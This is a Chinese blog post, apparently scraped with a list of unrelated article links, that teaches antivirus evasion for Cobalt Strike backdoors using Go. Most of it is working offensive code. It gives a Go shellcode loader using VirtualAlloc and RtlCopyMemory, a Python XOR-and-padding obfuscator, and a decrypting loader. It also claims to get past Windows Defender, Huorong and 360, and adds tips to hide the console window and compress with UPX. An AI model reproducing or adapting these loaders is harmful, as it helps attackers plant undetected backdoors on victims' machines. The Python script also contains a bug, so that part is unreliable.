go免杀初探
0x01 go免杀
由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的,
非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。
Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。
本文基于cobalt strike生成的.c文件来进行免杀测试。
0x02 免杀测试
首先生成成一个.C文件


这里先贴一个最原始的go加载代码
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。
加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。
但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。
这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。
先从整个shellcode混淆的脚本
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode
def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1
return new_shellcode
def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
#print(ord(shellcode[i]))
new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len]
#print(i % key_len)
return new_shellcode
# 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw
if __name__ == '__main__':
shellcode = ""
# 这是异或和增加随机字符使用的key
key = "iqe"
print(shellcode[0])
print(len(shellcode))
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
print(len(shellcode))
# 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key)
# 将shellcode打印出来
print(str_to_hex(shellcode))
加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。
package main
import (
"fmt"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾代码
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
直接go build生成exe文件
生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。

静态完美过WindowsDefender,火绒和360全家桶


可以正常上线

VT查杀率71/8

可以看到国内的就一款杀软查出来了
后记
用go编译的exe文件执行后会弹出黑框这里有两个解决办法
- 在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短
- build时添加操作选项:-ldflags="-H windowsgui"
参考
https://payloads.online/archivers/2019-11-10/1
https://saucer-man.com/operation_and_maintenance/465.html#cl-5
http://iv4n.cc/go-shellcode-loader/#shellcode-loader
https://payloads.online/archivers/2019-11-10/3
go免杀初探的更多相关文章
- 【黑客免杀攻防】读书笔记7 - 软件逆向工程基础1(函数调用约定、Main函数查找)
0x1 准备工作 1.1.准备工具 IDA:交互式反汇编工具 OllyDbg:用户层调试工具 Visual Studio:微软开发工具 1.2.基础知识 C++开发 汇编语言 0x2 查找真正的mai ...
- 免杀后门之MSF&Veil-Evasion的完美结合
本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...
- PHP一句话过狗、卫士、D盾等免杀思路!
原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分. 比如assert,可以写成 ‘a’.’ss’.’e’. ...
- Atitit.木马病毒的免杀原理---sikuli 的使用
Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...
- Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结
Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...
- 浅谈C++源码的过国内杀软的免杀
以下只是简单的思路和定位.也许有人秒过,但是不要笑话我写的笨方法.定位永远是过期不了的. 其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 .所以写出这篇文章.(大牛飘过) 只是个人实战的经验 ...
- lcx源代码以及免杀的研究
之前和Random大神讨论了一下免杀的问题,他给出了一个比较不错的想法,使用debug版本发布可以过很多杀软.顺便看了下lcx的源码,发现其代码不算特别复杂,于是乎就在这分析一下. 报毒情况 因为使用 ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- Exp3免杀原理与实践 20164312 马孝涛
1.实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编 ...
随机推荐
- thinkpad8平板安装win10系统
ThinkPad8 因为是平板电脑,只有一个micro USB接口,常规安装没法使用鼠标或键盘进行输入,所以难倒很多人. 幸好前段时间买了根otg线和3.0usb hub,安装方法记录如下: 准备:U ...
- 与图论的邂逅06:dfs找环
当我在准备做基环树的题时,经常有了正解的思路确发现不会找环,,,,,,因为我实在太蒻了. 所以我准备梳理一下找环的方法: 有向图 先维护一个栈,把遍历到的节点一个个地入栈.当我们从一个节点x回溯时无非 ...
- 利用sklearn进行字典&文本的特征提取
写在前面 这篇博客主要内容: 应用DictVectorizer实现对类别特征进行数值化.离散化 应用CountVectorizer实现对文本特征进行数值化 特征提取API sklearn.featur ...
- guava eventbus 原理+源码分析
前言: guava提供的eventbus可以很方便的处理一对多的事件问题, 最近正好使用到了,做个小结,使用的demo网上已经很多了,不再赘述,本文主要是源码分析+使用注意点+新老版本eventbus ...
- ES6在工作中会用到的核心知识点讲解
一.var, let, const 谈到ES6,估计大家首先肯定会想到var,let,const 咱就先谈谈这三者的区别 var a = 3; { var a = 4; } console.log(a ...
- FPGA仿真的概念及语法特点
以下是特权同学<FPGA设计+实战演练>书中的描述: 一个正规的设计需要花费在验证上的工作量,往往可能会占到整个开发流程的70%左右.验证通常分为仿真验证和板机验证. ...
- python(pymysql操作数据库)
第一种方式 import pymysql # 打开数据库连接 db = pymysql.connect(host="192.168.88.11", user="root& ...
- 全栈性能测试修炼宝典-JMeter实战笔记(二)
性能测试初体验 性能测试实质:利用工具去模拟大量用户操作来验证系统能够承受的负载情况,找出潜在的性能问题,分析并解决:找出系统性能变化趋势,为后续的扩展提供参考 测试分类 测试内容中,负载测试.压力测 ...
- 如何实现new,call,apply,bind的底层原理。
new做了什么? new是用来实例化对象的,当new了一个对象后 1.创建一个新对象 2.将构造函数的作用域赋值给新对象(this指向新对象) 3.执行构造函数里面的代码(为这个新对象添加属性) 4. ...
- Serverless对研发效能的变革和创新 云托管和Serverless应用差异
https://mp.weixin.qq.com/s/J4RXtKanh3IMr4fY7t0nyQ Serverless对研发效能的变革和创新 杨皓然(不瞋) 阿里巴巴中间件 2020-10-23